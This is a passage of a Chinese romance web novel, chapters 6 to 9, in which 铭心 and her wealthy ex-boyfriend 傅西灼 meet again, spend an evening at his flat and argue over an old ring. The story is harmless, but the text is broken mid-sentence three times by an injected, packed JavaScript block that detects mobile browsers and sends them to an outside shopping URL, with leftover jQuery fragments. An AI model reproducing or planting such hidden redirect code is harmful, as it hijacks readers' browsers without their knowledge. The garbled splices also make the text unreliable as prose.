走了几步,再停下来,已经微微不爽:“还要跟?” 是哈,咖啡已经还给她了,那她的理由就不成立了。 想了想,干脆实话实说。 “虽然你可能不相信,”铭心往他走的方向指了指,“但我要去那边的公交站牌等车,现在的路线是最近的。” “随你便。” 依旧没好气。步调却放慢了许多。 两个人肩并着肩走,铭心侧过脸打探他生气原因:“是因为我牵了你手?” 收到了一个“你在说什么”的无语眼神。 “没错吧?”她很确信自己的直觉。“所以你从在小屋里就开始生气,因为不想被我碰。” “我已经尽量在避免了,我不是立刻就松开了嘛,又没有一直牵。而且照片拍出来的效果也很好。” 完全是达到了事半功倍的效果,铭心忍不住在心里大赞自己的聪明才智。 “牵了吗?”他冷笑一声,“没感觉。” 又说:“的确没有一直牵,短到我以为我手上抹了毒药超过五秒会出大事呢。” 分不清他这是愿意还是不愿意,铭心干脆只关注成品:“照片会发在哪里?” “连占便宜都这么没魄力。” “确认过了会给我们脸打码是吧?” “冯岚的账号。会打。你有没有在听我说话?” 听了啊,但是没听懂。 真的完全没懂他生气的点。 又说时间短,又嫌她占便宜,还嫌她没魄力。 那到底是想要她牵还是不想? 静静想了会儿。 “……原来你觉得我占了你便宜啊。” 经过一番头脑分析,铭心靠出色的信息抓取能力找到了他生气的底层逻辑。 “但这种东西都是互相的吧?要是照你这个逻辑的话你也占我便宜了啊。” 他一愣,似是气笑了。 “手比冰块还凉捂都捂不热,你说是谁更吃亏?” “那你捂得时间不够久呗。”手凉是我的错吗? “……那是谁先松开的?”他闭了闭眼,仿佛忍了极大的无语。 “不松,不松你能愿意握着一个冰块吗?别哪天感冒了跑来说是跟我碰了下手碰的呢,赖上了还。” 铭心觉得自己从未这么伶牙俐齿过,看他表情,似乎她吵赢了。 傅西灼默声不语。 “……行吧。”周围一下都安静下来,心也跟着静了不少,铭心想了想,她方才那句话不太好,有种事情还没发生她就给人扣帽子的感觉。 手上两杯饮料往地上一放,腾出手来。 她起身,慢慢地轻轻地,在他肩上捋了几下。 像在给一只小狗梳毛。 “……你这是,在干什么。”他的声音从牙齿里挤出来。 铭心不为所动:“别生气了,我买暖手宝给你。” 过去他真正生气的时候很少,在铭心看来种种张牙舞爪也只是不同程度的撒娇手段而已。就像现在这样顺顺毛,是她从前安慰他的习惯性动作,适用时间是傅西灼心情不好的时候,技能时长是八秒。 一、二、三、四、……七……她在心里默数着。 八秒一过,手准时离开。 肩膀上湿湿一片。 她手凉,手心温度跟杯壁差不多,以至于根本没留意到上面沾着的水珠。 傅西灼吸了一口气,静静地看住她。 “你现在——” “……” “是在拿我十万块的衣服、” “……” “当抹布吗?” 危险!危险! 铭心感知到暴风雨前的宁静,迅速拾起地上的咖啡——速度堪比游戏里捡道具的小人。 然后哒哒哒地,一路跑到不远处的公交站。 ……傅西灼也像游戏里的大boss一样,隔着老远向她发射死亡眼神光波。 又不能走,铭心往长椅最边上挪了挪,企图离他远点。 隔着半条长椅的距离,她好心提醒:“上回你都晕得快吐了这回还要坐公交?” “我是受虐狂。” 铭心一口咖啡险些喷出来。 哇还真的是赢不了这种人……张口就是胡来。 “看你那衣服挺金贵的,我也不是喜欢耍赖的人,你回去看看干了以后是什么情况,不行的话我给你赔偿。” “你有多少钱?花钱这么大手大脚。”他嗤了声。 难不成我自己想破财啊?还不是你一直跟个鬼影似的搞得人良心怪不安的? 铭心无语:“不想要钱那你跟着我干嘛?” “想要。”他问,“什么时候赔?” “改天。” “改天是什么天。”他对着她眼睛逼问:“哪天?几点?什么地方?我来接你?哪天?” “……”铭心被他问懵了。 “就……下次再碰到的话,我请你吃饭。” “开口闭口就是下次。”很不信也很不屑地,他扯唇,“都不知道有没有下次,我怎么信你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315360|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪开始下了,也有点像雨,比雪要重,打到地上有啪嗒声。 公交车到站。 铭心鼓着一口气奋力跑到车门那。 脚已经踏进去一只,又突然顿住,撤回来,一直等到公交车从眼前开走,她才转身,以同样的速度跑了回来。 一来二去身上淋得透透的。 傅西灼蹙眉看着她这番操作,吐了句真话:“傻了?” 不知什么时候挪动了屁股,他已经坐在她刚刚坐过的位置,评她:“上就上下就下,愣那里不动是很爱淋雨?” 铭心坐在隔他一个人的位置,用力晃头,把高马尾上的水珠“不小心”地甩在他身上。“我故意的。”她说,“故意不上车的。” “傻。”他又说了句。 “不问我为什么?” “为什么。”他很听话。 铭心坐过去,把那一人的空间挤没了,“想让你相信一下,我说的下次。” “有什么关联。”依旧没好气,不看她。 “有啊。”铭心弯下一点身子,低头,找他眼睛,看住了,“不想走的话说明想见你,自然而然就会有下次见面吧?” “想见我?”他勾唇,以一副全然不信且由她胡说的姿态。 “什么时候?” 铭心望望天,很深沉的灰色,同时闻到了已经到来的,雨水的气味。 还以为是雨夹雪之类,现在完全下成雨了。 “下雨天,像现在这样的天气,偶尔想跟你一起看雨。” 刚煽情完,傅西灼冷冷道:“别想让我给你当司机。” 果然这回他也是开车来的。 兵不厌诈,铭心笑问:“车在哪?” 车里很暖和,明显暖气已经开了好一会儿,铭心对着窗外夸这车居然连暖气也能远程控制,傅西灼只说:“因为花了足够的钱。” 铭心回答他了,以穷人的沉默。 他不进来,偏头指了指她在的后座,说后面袋子里有干净的衣服,让她换。 又去前面,用车罩盖住了挡风玻璃。 铭心也没扭捏,在他隐蔽性极好的贵车里脱了自己的衣服换上他的。换好了就降下车窗:“有伞吗?我出去,然后你换。” “不用下车,换到前座去。” 直接换?“我身手比较一般,”铭心有点担忧,“会把你车踩脏的。” “不要紧。” “哦,好。” 铭心在副驾驶位上,听到他坐到后座,锁了车门,然后就是衣服的细微窸窣声。总体换得很安静。 不经意间抬眼,从后视镜里瞥到他。 的上半身。 铭心没忍住欣赏了会儿,在他抬眼的刹那才赶忙把眼皮垂下去。 幸好反应快。他应该……没发现吧? 衣服换好了,他说需要等人,十分钟后才能走。 铭心“嗯”了声。 她就是个蹭车的,他其实不用跟她报备。 等待的时间有点难熬。 从前在一起时,不说话的时候他们就自己干自己的事,待在一个空间里也很舒服。这会儿却弥漫起淡淡的尴尬,铭心不得不找话题聊。 唉,早知道不多看那几眼了,心都乱飞了。 傅西灼好像对林纵格外感兴趣,一聊到她的工作,他就先打听模特通常都干什么活儿。 基本上就是练手或者参考啊。铭心也没往细了说,但就是说得很粗,他照样讥讽了林纵是靠身体赚钱的“不正经人”。 她让他别有职业歧视,他就说他是对人不对事。既然是单纯针对林纵,那她也没什么好劝的了,人有讨厌另一个人的权利。 过了会儿,他又关心起林纵的时薪。 这铭心可就得说道说道了:“你又不缺钱,问这个干嘛?” “缺呢。”吊儿郎当的一句。 “……” 铭心觉得方圆八里的火车都让他给跑完了,可真能胡诌。 没来得及让富少别卖穷,从外面,突然有人敲窗。车窗降下来,是一张男人的脸。 俩人互相都不认识,他先是一愣,随后对铭心摆了个笑脸,就朝驾驶位上喊:“帮我一下呗,我力气不够。” 傅西灼下车给他拿了什么东西,回来时身上又沾上潮湿的雨水气味。 “还有干衣服吗?”铭心心肠好,担心他感冒。 “有。不过,”他的脸在后视镜里出现,看着她,“你盯着呢,我怎么换?” “我不看就行了呗。”铭心把手横过来,用修长手指遮挡窄窄的后视镜。 这么一番努力下来,却听见他笑了声。 “刚才怎么不挡?” “我刚刚忘了。”铭心藏了自己的私心。 “所以都看到了吧?” “什么看到……” 后座又传来衣料摩擦的声响,几秒后停了。听着像是换好了。铭心把手缓缓从后视镜滑下来,看到他的眼睛。 “从雇主的角度考量——” 视线相触,他突然用商量的口吻同她问。 “我的身体,你觉得能买吗?” 7. 第 7 章 车门一开一关,傅西灼回到驾驶座。静了会儿,中指敲两下方向盘。 像是催了她一板。 哈……。 真的无语。 被无语笑了。 铭心抬起视线,像解一道谜题似的在解他。 手指绕了圈儿,她点了点脑袋:“你这里还正常吗?” “比起身材,”他模仿着她的动作,手指有点帅地落在一缕微卷的头发上,“这里应该没那么重要。” “干嘛老学我?” “我喜欢。” “你身材……”吃了气,铭心扫他一眼,也故意给他打击,“我看也一般。你还是多练练再来自荐吧。” 傅西灼倒是真信了,语气变得不爽:“刚才没看清是吧?” “看得很清啊,从这里到那里——”铭心用食指在他身上划了条竖线,“我全看了。” “不够细致。”否定了她的审查精细度,他把手机递出来:“扫码。” 我才不扫你的码呢,谁知道有什么陷阱,铭心抬眼皮草草撩他一眼:“怎么,想搞诈骗啊?” “倒是有点能骗的东西啊。”他冷嘲暗讽的,说她:“浑身上下搜不出五块钱来。” 搜不出也正常吧!铭心有点炸毛:“现在都用手机支付了谁还带现金?”恨不得给他科普一下移动支付有多方便。 “你的手机这么智能?”他问。 顺势把二维码怼到距离她鼻子五毫米的位置:“那建议和我的手机认识一下,教教它怎么变聪明。” “……”真受不了他这天下无双的幽默感。铭心一把薅过来,扫上:“行了吧?” “向我发送好友申请。” “发了。” 他立刻同意了她的好友申请,发来一张图片。 是她没见过的,他自己的帅照。 身材还真是…… 铭心暗自咽了口唾沫。 双指放大,细致地瞅了半分钟,没有发现p图的痕迹。却还是嘴硬着说:“看图还不错,但你知道的,现在AI技术发展这么快,照片可信度不是那么高了。” 说完,她偷眼去看傅西灼的反应。 他就只是淡淡的,不笑的时候又显得冷了。 启动车子,他将速度飙得很高。 快,但是挺平稳。 一点困意卷上来,铭心起先只决定眯一会儿,没承想真睡着了。再醒来的时候窗外景色已经变得陌生。 路灯朗朗地照着,刺得慌,铭心反手遮住眼,不愿动弹,声音也还黏糊着:“……这是哪儿?” “小区楼下。” “我什么时候住过路灯这么亮的小区——” 顿了一秒,她反应过来:“你家小区?” 傅西灼下车,敲了敲副驾驶的车门,车窗开始降。 铭心拽着把手不让开:“你把我送回去,不然我不下车,就赖在你车里。” “不是说照片不够看?”他晃了晃车钥匙,按下一个按键,车门就自动而缓慢地,开始往外开。 他问:“怂了?” 谁怂了!? 志气还很足,但她却拽不动车门了。血肉之躯没必要非跟科技对抗,铭心把自己给说服了,松开手,她哼:“不知道怂的会是谁。” “起开。”她让他别挡道。 怕气势不足以压倒他似的,一下车,她又略微提高了音量吓他:“过会儿你可千万别藏着掖着的啊。” 电梯来得很慢,等的时间有些焦灼。 突然,裤腿被什么东西碰了碰,一低头是一只大金毛,正笑笑地仰头看着比它高出许多的人类。 “麦当娜,不许贴贴了,过来。”牵狗的是一个看起来跟她年龄相仿的小姑娘,语气很亲近:“我家狗可爱跟人玩了,就喜欢漂亮姐姐,看见就走不动道儿。” “我们家……” 这种熟悉的场景勾起了某种自动回复,铭心下意识就想分享养摩卡的日常,而忘记了她已经不是那个能够牵着摩卡去跟别的小狗互相见面的人。 “小狗黏人这一点超可爱的。”她把分享改为夸赞,“你们家这个就很可爱,而且仪表堂堂的,很威风。” 叮咚—— 两部电梯同时到了。 女孩指了指对面:“我去单层。” 铭心啊了声,摆手:“那,再见。” 原来小姑娘是被小狗带过来的,还以为是跟他们坐同一部电梯呢。 不过也很正常,她从前遛狗回家也老爱跟路人聊天,为的是有机会炫耀一下自家狗狗。 他们去二十六楼,中间上来了一大波人,她瘦瘦的,被挤到角落。 傅西灼绅士本能又发作了,护到她身前。 手臂撑到箱板上,用身体造出一片围栏空间,同时另一只手腾出来,手腕贴到她鼻尖。 淡淡的皂香味冲淡了四周的汗臭,铭心终于得以呼吸。 电梯到了二十层,已经只剩他们两个。 “绅士。”铭心叫他。“可以放下你的手了。” “好的。”他扯一个假笑回敬她:“雇主。” “……”好好好。出门在外身份全是他给的。 铭心微笑。本来预备算了就这样吧,可想了想,怎么都无法理解。 在下电梯之前,她还是问了问他:“你到底为什么非得给我安这么个头衔?你太贵了,我雇不起。” “我要价很低。” “所以啊,为什么放着一百万不赚要来掏我兜里的一块钱?有钱人的时间不是很宝贵吗?” “因为想不到别的理由。” 理由? 铭心尝试着慢慢理解他话里的意思:“……你的理由是用来?” “跟你见面。” “为什么要跟我见面?” “因为讨厌你。” “不是……”铭心都听笑了,“你自己听听这说得通吗?” “得在你身边。”电梯到了,他非拉着她走,生怕跑了似的,“才能找到让你不好过的方法吧?” 那我不走了。“我要回家。” “啊——”傅西灼拖着长音,似笑非笑地扯了扯唇:“在电梯上走累了,想要我抱你走?” 你家电梯用走的啊。知道他又是在讽她,铭心不妥协:“别想用以前的招数威胁现在的我。” “也可能不是威胁。” “真的?”你敢实践一下吗?我不信。 两方对峙,铭心认为以他对她的厌恶程度,她凭借恶心招数必定可以取胜。 说完,她故意张开手,做出一个想要拥抱的姿势:“不是的话,那我赚到了呢。” 纯粹是为了气他。 傅西灼杵在原地,笑了下,也没什么动作,只饶有兴趣地看她接下来的反应。 铭心手开始酸了。 但仍旧不放下,以显示她的硬气与不惧威胁。 傅西灼抱臂往墙边一靠,闲闲道:“我要真的干了,别哭。” 调笑的口吻,但想一想,他却是真能干出这种事的人。 “……”识时务者为俊杰,铭心立刻把手臂放下,微怂:“我今天先不赚了。” 太久没来这里,已经记不清具体的陈设,只觉得这里眼熟那里陌生,一切都跟记忆中的影子重合不上。 铭心在沙发上坐了好一会儿,都没跟他说上一句新的话。 傅西灼就只是忙,忙得像个园丁,去阳台收了衣服,又把花盆搬来搬去,给叶子上洒水。 她问需要帮忙吗,他也只是说“不用”。阳台忙完了,又到客厅忙,活动区间一直在她周围,自顾自干一些琐碎的事情。 没忍住,铭心发了问。 “你叫我来干什么的?” 话音起了点作用,他走到沙发旁,捡到遥控器扔给她:“自己看会儿电视。” “……”久违的,体会到了小时候家长敷衍小孩的感觉。还真是谢谢您了。 电视看了十分钟,他的声音在阳台响起来,似乎是叫了她。 铭心把电视剧暂停,探出头去问:“喊我了?” “嗯。” “喊的什么?”她太久没有听过他叫她名字,有点怀念。 “叫你来看这个。”他有意错开话题。 铭心走到他那里,垂眼,看着他手上的庞然大物。 “这是……小刺?” “是。” “你都给它吃什么啊长这么大了。”铭心吃惊。 这是当年他们一起逛菜市场时买的仙人掌,起名叫小刺,她起的。买来的时候还是小小一个,现在是大大一个了。 蹲下跟小刺叙了会儿旧,蹲麻了腿,铭心又继续进屋看电视。 一入迷时间就不知不觉过去,站又站累了,她往沙发上退,想坐在扶手上。 没想到屁股接触到的不是宽宽的沙发扶手,而是一只温热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315361|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大腿,肌肉有点硬。 一回头,他脸上露出痛苦的表情。 铭心立刻起身。 怀疑他是演的。 “我也没那么重吧?我才九十四斤。” 他往旁边坐,把扶手的位置让出来,铭心就坐上去。听到他低声叹了句: “怎么能跟以前一模一样。” 声音虽不大,她可听见了。 体重一样,所以呢? “是希望我长胖还是变瘦啊?” 他盯着她好半晌,才说:“太伤心所以暴饮暴食的话会变胖吧?患相思病茶饭不思的话会变瘦。 “偏偏…… “没有任何变化呢。” 她坐得高,他看她的时候仰起一点脸,由下往上看,眼神就莫名有点可怜。 “跟我分手一点感觉都没有吗?” 他终于问出了主旨。 “……你也没有变胖啊,一点都没有。”想了想,铭心尝试拉他下水:“你也不伤心吧?” “你不是喜欢瘦的?” 话是这样说没错但。 “你也没有变瘦啊。” “你也不喜欢太瘦的。” “为什么每句话都要以我为开头?” “道德绑架。”他说,“希望你感到愧疚。” 铭心对他这么坦然承认的态度感到很荒唐也很好笑:“绑架我你能得到什么?” 默然。 好半天,他才重出了点声:“说了你就会给?不给的话就别问。” 拜托。 铭心都被他搞晕了。 你有缺少什么吗? 明明什么都是最好的。 铭心往四周打量了打量—— 桌子是金丝楠木的,沙发是某某意大利高档品牌的,就连电视机都是巨幕的! 想到这,铭心决定跟豪华设备拥有者打个商量。 “我能在你这洗个澡吗?” 她记得他的太阳能,非常之好用,是她用过最不凉不烫正好的。 “不行吗?”本来也没抱多大希望,他不应,也就算了。 “我就是随便问问,没有强迫的意思,不愿意你就当我没说。” 他还是不作声。 没必要考虑这么久吧? “我先走了。”直觉告诉她再待在这不会有什么好事发生。 一走,他动了。拉住她。 “?” 铭心回头。 “分手后最怀念的是我的狗和太阳能精准控温设备。” “历铭心。”他终于连名带姓地喊她。 “别人的前任也都像你这样吗?” ……被看穿了呢。铭心摸摸鼻子。 他走到卧室去,铭心正准备说我不洗了,从卧室传来声音:“进来。” “浴巾、换洗的衣服,”都塞给她,他问,“还要什么?” 铭心看着手里最眼熟的一件。 是几年前她买来的情侣睡衣。 虽然没想问,但毕竟成双成对的,她还是打听了一下:“另一件在……?” “垃圾桶。” 她点点头。 扔了。也正常。 压制住心里那点怅惘,走进浴室。 …… 洗完澡出来,见他卧室仍开着,铭心敲了敲门:“我能进去用一下吹风机吗?” 插好电,他走出去。 浴室很快传来水声。 从前,她常常画他。 因为太熟悉,此刻不由得联想起在那水声里,他身体的线条。 …… 头发上的水滴进眼睛里了,铭心才反应过来自己走了神。眨了几下眼,打开吹风机开始吹。 他洗得很快,出来时头发吹得半干,除了条睡裤外,上半身已经衣冠楚楚。铭心还是识趣地关停了自己的吹风机,让主人用:“您先请。” 他没接,铭心就把吹风机放到桌上。纠结半天,问他: “这里原本的镜子也扔掉了吗?” 一面很大的落地镜。 他循着她指的方向望过去,笑了一下,很讥讽的。 “什么意思?” 视线收回,他看着她,逼得更近。 声音很低很冷,却因为刚洗过澡,身体又透出热气。 “问这个的目的是试探我记不记得发生过的事—— “还是想要我重现一下?” 8. 第 8 章 铭心的手指一点一点向上攀,到二分之一处,她握住了。 ——那是条细腻柔滑的真丝领带,孔雀绿的底,上面均匀地斜着些森冷的银色条纹。 她连一丁点力气都没使,他就把自己送过来。 衣冠楚楚地,嘴唇几乎贴到了她的鼻尖。 在浴室就换好衬衫领带。 铭心猜他立刻就要出门。越急,她越想让他乱。 “那镜子很好用,我是想要个链接而已。”她轻晃手腕,扯松了领带,微笑着看他乱作一团的领口,“你想到哪里去了?” “哪里好用。” 他一这么压低嗓音,铭心就莫名紧张。食指在桌子的边缘画着圈。 吧嗒、 他发梢上的一滴水颤下来,砸到她的指节,又痒痒地顺着指节向下流。他接着问她: “是高度上好用,还是清晰度上好用?” 铭心松开手,被她抓过的地方只微微有一点皱,他干脆把领带扯了,丢到一边,手向前撑在她两侧。 铭心觉得他要干点什么,别过脸去不看他。 然而视角的落点又回到那个地方。 ……明明什么都没有。 她却仿佛看到了那面镜子。 看到他抱着她,挺腰,埋头。而她仰着脖颈,脸上都是密密层层的汗。 像发了高烧,丢了魂,只有咬他的份…… 一个转念,铭心举起吹风机摁开了三档,突然朝自己头上猛吹。 她的飘逸的发突然炸开,狂飞乱舞地扑打在他脸上。 挨了“打”,傅西灼没动,只微微侧过脸去。 把吹风机关停,铭心把吹风机往他怀里塞,好让他退开一些:“打算就这么出门?不吹干要得偏头痛的。” 他正过脸来,果真退了一步。 方才被她头发抽到的位置,隐约泛着潮红。 “现在就很痛。”他调整了脸的角度,使那点潮红能被她看见,同时又能露出好看的下颌线。 他说:“偏脸痛。” 铭心:“……” 铭心:“我摁错了,本来是想递给你吹风机,不小心开了大风。” 她胡诌乱扯的,傅西灼也没追究这话的真假,走出去。 没一会儿,从外面传来吹风机的嗡嗡声。 ……搞批发啊要这么多吹风机。 等到嗡嗡声停了,铭心才走出去。 他没出门,正坐在沙发上,姿态慵懒,报纸遮住了整张脸,露出头发。 刚吹完的头发似乎比她的要蓬松好看,而且不干燥不炸毛,是一种恰到好处的蓬松。 “你为什么不用卧室那个?”她把他手上的报纸往下压了压,露出他的眼。 “谁敢用?”对上她的目光,他不咸不淡地回,“吹出来的头发像武器。” “……” ??? 她的头发!哪有这么硬! 有股热流直冲脑门了,铭心深吸一口气,忍住了。 “谢谢。”她尽力让自己心平气和,“发质坚硬是我的优点之一。” “只有头发吗?” “……?” 报纸一放,他顺手拿起沙发上一个手指棒。 瞬间稳准快地戳到她心脏的位置。 “这里更硬吧?” - 周五晚上,铭心画稿画得颈椎疼,做了个脊椎操左三圈右三圈的,一转头瞥见边上的手机一直亮。 解开锁划拉到微信,部门小群里已经几十条消息。 整齐地刷屏。 【烦死】 【烦死】 【烦死】 …… 群里人不到十个,人虽然少,不代表关系近,充其量只是一块发疯吐槽的同事,聊天涉及的话题当然也仅限于工作。 一看这阵仗就知道是领导又整什么幺蛾子了,铭心心里有了点答案,带着百分之九十的确信点开早已设置成免打扰的工作大群,使劲往上翻,终于在n条“收到”之上,发现团建公告。 切回部门小群,消息还在不断往上冒。 【天天建没见建出个什么东西来,团建一回方案被毙了,团建两回插图第十八次改回初稿,再团建个几次公司就该倒闭了[笑哭]】 【贱出倒闭,贱出风采】 【求倒闭[祈祷]】 【求倒闭[祈祷]】 …… 铭心在后面也跟了一条求倒闭。 看了眼公告里的地址,她知道附近有家咖啡厅。本着一趟买卖不走两遍路的原则,她打电话给约好周天见面的王雪梅,问时间能不能提前到周六。王雪梅爽快应下了,说正好我在酒店待着也无聊。 王雪梅是大学时候跟她一起在外面合租的室友,在学校表白墙捞到的人。 俩人加上好友以后聊了聊,倒也挺巧,穷到一块儿去了,都是为了方便打工才出来。 “白天还好,晚上有时候会忙到很晚,回去宿舍的话会影响到同住的人,我跟舍友们又没仇,不想让她们睡不好觉。” 王雪梅疯狂点头赞同铭心的看法:“我也!我有时候还倒夜班呢,不过我跟其中一个舍友有仇,只是跟她斗法没有赚钱来得重要,所以算咯,就当原谅她了。” 王雪梅当时课少,闲暇时间都用来赚钱,手头确实比她宽裕不少。她们租的那房子不算贵,但铭心当时没钱,又押一付三,是一起住进来的王雪梅替她垫付了一部分房租,解了燃眉之急。 铭心当时很过意不去,拿到工资后就立刻把欠款还清,请她连吃了几顿饭。最后一顿是散伙饭,王雪梅坚持付了钱,说再请就生分了,一点小忙不至于谢这么多回。铭心搬走后,以为还会常常联系,没想到慢慢也就只是朋友圈点赞的关系了。 这次是王雪梅主动找她聚,说正好来这城市出差,也有东西要还她。王雪梅借过她东西吗?铭心一时想不起。 …… “我到了。”怕时间上有点来不及,铭心特意打了个车,一到餐厅就发消息:“你在哪?” “往后看。” “好久不见。”看见人,脸上立刻带上笑:“你更漂亮了。” “你不是变漂亮,是一直都漂亮,长得跟明星似的。”王雪梅绕到她对面位置,把大衣脱在椅背上,“真的好久不见,你走之后我还挺想你的。” 铭心把菜单递过去:“喝什么?” 俩人都点好了,递给服务生,王雪梅关心她现状:“现在还是合租吗?新室友有没有比我好?” 铭心说:“我现在自己住。” 咖啡上了桌,没一会儿俩人都空了杯。明明没说多少话,却好像都很口干似的,狂喝咖啡。 铭心边把脸埋在空杯里边琢磨着找下一个话题,不够熟却也不够生的关系,一旦面对面坐着了,就很怕冷场。 “对了,”她放下杯子,刚准备开口聊她们一起被老鼠吓到满屋乱窜的往事,王雪梅比她先开了话题,“我给你看样东西。” “嗯?”铭心不知道是什么。 “当时你找了好久,记得吗?” 手心摊开,是一枚戒指。 王雪梅回忆着当时:“找不到还难过了好多天吧?当时都不爱笑了。是你走以后我帮房东打扫房间的时候发现的。” 旧物时隔多年失而复得,免不了有些震动。 “……谢谢。”铭心连声音都变得很轻。 “你当时的那个男朋友……”雪梅试探着问:“还在交往吗?” 铭心摇头。 “那也留着吧,戒指这东西,有纪念意义。” 是啊,多有意义。 当时他们以为刻枚戒指,就能够永永远远。 …… 快到“上班”时间了,铭心去常逛的金店讨了块金属拭布,擦完戒指就顺道戴在了手上。 团建的场子没处找乐子,已经结婚的人就总爱拿单身的人开涮。单身的人又少,难免她又会成为众矢之的,被他们乱点一通鸳鸯谱。 不如戴枚戒指,到时候亮出来给大家看,问有没有男朋友就打一打哑谜,让他们猜去吧。 这么想着,铭心慢悠悠晃到了团建的小别墅。 到那以后,没想到傅西灼也在。 别墅很漂亮,外边种着很多冬天也开的花,颜色倒不怎么丰富,只有红,好在铭心最爱红玫瑰。 傅西灼单手插兜,拿着个小喷壶浇水,平时对她和同事们都颐指气使的领导就跟着他屁股鞍前马后。 铭心白楞领导一眼,一扭头,看见林纵过来了。 “这别墅是他的,借给我们玩玩;新项目好像他也投了钱。”林纵看一眼浇花上瘾的傅西灼,撇了撇嘴,对铭心说:“你前男友身份还真多。” 注意到她手上的戒指,又问:“戴给我看的还是戴给他看的?” 认识太久了,林纵性子又跳脱,铭心也不把他的醋当真。笑了下:“所有人都能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315362|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “要去购买食材,我被指派了,还需要一个人。”林纵又往傅西灼那打了眼,说:“我估计你也不想在这看前男友春风得意的,你就跟我一块去吧。” “倒是挺了解我。” 她不想在这,倒不是因为谁的“春风得意”碍了她的眼,她就只是单纯不爱这种场合。在她看来团建跟上班没区别,一上班,她就如坐针毡如芒刺背。 至于傅西灼,他的人生本来就是在春风得意中度过的。她习以为常,且毫不讶异。 “我已经统计了同事们爱吃的东西了,去了直接买就行。” 取车的时候经过“浇花人”那儿,屁股后面的人已经走了。林纵突然想到:“还没问咱金主呢。” 便走到“金主”跟前去:“你在这岁月静好,我可是在替你负重前行呢。” “说点人能听懂的。”傅西灼把喷壶往他身上怼了一泵。 铭心闪开了一点,怕那水误伤她。站远了,她说:“我们要去采购食材,你有什么喜欢吃的东西吗?” 话说出口,隐隐觉得有些不对。 他喜欢吃的,她当然是知道的。现在这样问,倒像是刻意撇清关系似的,显得不敞亮。 傅西灼又摁了一泵,那水照例喷在林纵羽绒服上。好在布料是有些防水材质的,林纵也没管,只皱紧眉头像只愤怒的小鸟般看着他。 傅西灼样子比他还烦。 “我们?”他对这个称呼给予了最直接的冷笑。 “跟小叶,他开车。”铭心解释。 “哦,他去不了。” 林纵一急:“你放——”不能对金主不敬,他又改了口:“我凭什么去不了?” 傅西灼语声淡淡:“烤肉那还需要一个人。” “你不就是一个人吗?”林纵自然地在三个人中间划了道线,“我们是两个人,况且相比你,还是我更擅长推购物车,所以烤肉就由你来负责吧。” “擅长的话就一边推一边烤。” 傅西灼用一副“怎么能浪费了你的才华呢?”的表情:“要我买一辆购物车给你吗?” 噗…… 购物车还用辆。 铭心差点笑出声。 这什么小学生斗嘴现场。 “不用了。”末了,因为一方拿出了“投资人”的职权,林纵没斗过,忿忿地说。 “还没跟你介绍我擅长什么吧?”见林纵衣角那点水已经结成了薄薄一层冰,形状不规则地贴在布面上,傅西灼又喷上一点,正好补上个圆形硬币大小。 “我擅长结账。” “你完了!”林纵大喊:“等回来我要用水枪跟你决一死战! 发表完自己的愤怒宣言书,他走到烤肉架那儿,把夹子张开又夹紧。 角度问题,从铭心这儿看来,林纵正好用夹子夹到了傅西灼的一缕头发。 这错位还挺好笑。铭心想拍照留念。 刚拿出手机,没来得及按相机呢,手机就被抽走了。 “你们——” 拿走手机的人刻意拖着长音,边咔嚓拍下一张自拍照,手机丢还给她,语气极欠揍地问:“现在‘们’走了,你打算怎么办?” 铭心接住手机,没删那自拍照。 破罐子破摔,秉持谁破坏谁负责的原则,她说:“当然是你跟我去。” 他一字一顿:“我,不,愿,意。” “你愿意。”铭心扯住了他,不让走。 傅西灼回头,目光由她眼睛,向下扫到她的手指。 那枚戒指。 来之前她已经细细擦拭过它,可有些东西是擦不去的。 那上面布满了他们,陈旧的过去。 沉默。 只有风声。 他盯着那戒指好一会儿,似乎在辨认上面的旧迹,是由他打磨。 半晌,他终于拂开她的腕子:“放手。” 慌乱之中,铭心跟了两步。 一怔,她把戒指薅下来,又抓住他手腕。 白净的指尖,泛着红,跟声音一样冷得有些发抖:“……你跟我去,行吗?” 傅西灼回身,冷冷看着她空荡荡的右手无名指,倒好像那枚戒指还印在上面似的。 “好啊。” 手腕一反,他把掌心擦过她的掌心,拇指一路捋过她的无名指,停在指节上方,重重地点了一下。他说: “如果你可以解释,戒指,为什么会出现在你这里的话。” 9. 第 9 章 车子在路边停靠,停了有五分钟了,得不着她的答案就不走似的。 铭心没忍住,催了一下:“你先开车行吗?” 他却没有丝毫动作。 行,铭心认输。 “我捡回来的。” “当时我不是当你面把它给扔了吗然后你一走我又后悔了在花坛喂一晚上蚊子给找回来了。” “金子很值钱所以我舍不得再扔了。” “这些答案可以吗?” 一口气说了这许多话,感觉头都有点晕。铭心按了按太阳穴,一边用余光偷偷观察他的反应。 傅西灼在看着她。 